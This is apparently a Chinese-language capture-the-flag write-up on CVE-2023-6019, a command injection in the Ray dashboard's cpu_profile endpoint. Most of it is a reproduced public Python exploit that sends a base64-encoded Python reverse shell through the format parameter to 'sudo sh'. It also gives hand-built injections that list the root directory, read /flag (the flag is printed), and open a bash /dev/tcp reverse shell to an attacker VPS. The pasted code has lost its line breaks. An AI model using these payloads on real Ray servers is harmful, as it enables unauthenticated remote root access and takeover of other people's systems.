靶标介绍：
Ray的`cpu_profile` URL参数存在命令注入漏洞，允许攻击者在未经身份验证的情况下远程在运行Ray仪表板的系统上执行操作系统命令。
公开POC参考：Ray OS v2.6.3 - Command Injection RCE(Unauthorized) - Python webapps Exploit
# Exploit Title: Ray OS v2.6.3 - Command Injection RCE(Unauthorized)
# Description:
# The Ray Project dashboard contains a CPU profiling page, and the format parameter is
# not validated before being inserted into a system command executed in a shell, allowing
# for arbitrary command execution. If the system is configured to allow passwordless sudo
# (a setup some Ray configurations require) this will result in a root shell being returned
# to the user. If not configured, a user level shell will be returned
# Version: <= 2.6.3
# Date: 2024-4-10
# Exploit Author: Fire_Wolf
# Tested on: Ubuntu 20.04.6 LTS
# Vendor Homepage: https://www.ray.io/
# Software Link: https://github.com/ray-project/ray
# CVE: CVE-2023-6019
# Refer: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
# ==========================================================================================# !usr/bin/python3
# coding=utf-8
import base64
import argparse
import requests
import urllib3proxies = {"http": "127.0.0.1:8080"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
}def check_url(target, port):target_url = target + ":" + porthttps = 0if 'http' not in target:try:urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)test_url = 'http://' + target_urlresponse = requests.get(url=test_url, headers=headers, verify=False, timeout=3)if response.status_code != 200:is_https = 0return is_httpsexcept Exception as e:print("ERROR! The Exception is:" + format(e))if https == 1:return "https://" + target_urlelse:return "http://" + target_urldef exp(target,ip,lhost, lport):payload = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' + lhost + '",' + lport + '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''print("[*]Payload is: " + payload)b64_payload = base64.b64encode(payload.encode())print("[*]Base64 encoding payload is: " + b64_payload.decode())exp_url = target + '/worker/cpu_profile?pid=3354&ip=' + str(ip) + '&duration=5&native=0&format=`echo ' + b64_payload.decode() + ' |base64$IFS-d|sudo%20sh`'# response = requests.get(url=exp_url, headers=headers, verify=False, timeout=3, prxoy=proxiess)print(exp_url)urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)response = requests.get(url=exp_url, headers=headers, verify=False)if response.status_code == 200:print("[-]ERROR: Exploit Failed,please check the payload.")else:print("[+]Exploit is finished,please check your machine!")if __name__ == '__main__':parser = argparse.ArgumentParser(description='''⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⡠⠄⡄⡄⡠⡀⣀⡀⢒⠄⡔⡄⢒⠄⢒⠄⣀⡀⣖⡂⡔⡄⢴⠄⣖⡆⠄⠄⡤⡀⡄⡄⠑⠂⠘⠄⠙⠂⠄⠄⠓⠂⠑⠁⠓⠂⠒⠁⠄⠄⠓⠃⠑⠁⠚⠂⠒⠃⠐⠄⠗⠁⠬⠃⢰⣱⢠⢠⠠⡦⢸⢄⢀⢄⢠⡠⠄⠄⢸⠍⠠⡅⢠⡠⢀⢄⠄⠄⢸⣸⢀⢄⠈⡇⠠⡯⠄⠘⠘⠈⠚⠄⠓⠘⠘⠈⠊⠘⠄⠄⠁⠘⠄⠐⠓⠘⠄⠈⠓⠠⠤⠘⠙⠈⠊⠐⠓⠄⠃⠄⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄''',formatter_class=argparse.RawDescriptionHelpFormatter,)parser.add_argument('-t', '--target', type=str, required=True, help='tart ip')parser.add_argument('-p', '--port', type=str, default=80, required=False, help='tart host port')parser.add_argument('-L', '--lhost', type=str, required=True, help='listening host ip')parser.add_argument('-P', '--lport', type=str, default=80, required=False, help='listening port')args = parser.parse_args()# target = args.targetip = args.target# port = args.port# lhost = args.lhost# lport = args.lporttargeturl = check_url(args.target, args.port)print(targeturl)print("[*] Checking in url: " + targeturl)exp(targeturl, ip, args.lhost, args.lport)根据公开的POC进行分析，可以得出漏洞存在的位置是：Jobs ->CPU Flame Graph (Driver)
我们点击访问后，跳转页面如下：
此时我们可以通过构造format参数，控制程序执行的命令：
sudo -n $(which py-spy) record -o /tmp/ray/session_2024-08-29_03-59-48_537905_11/logs/flamegraph_11_cpu_profiling.svg -p 11 -d 5 -f flamegraph我的构造如下：
format=;ls -all /;2>/dev/null;2此时程序执行的命令为：
sudo -n $(which py-spy) record -o /tmp/ray/session_2024-08-29_03-59-48_537905_11/logs/;ls -all /;2>/dev/null;2_11_cpu_profiling.txt -p 11 -d 5 -f ;ls -all /;2>/dev/null;2
尝试构造读取Flag：
format=;sudo cat /flag;2>/dev/null;2
flag{e0488eb2-f9d7-4856-937c-e18b2e14a7d3}
补充：也可以反弹Shell到VPS
format=xxx;bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1';11
format=xxx;bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IP]%2F[PORT]%200%3E%261';11
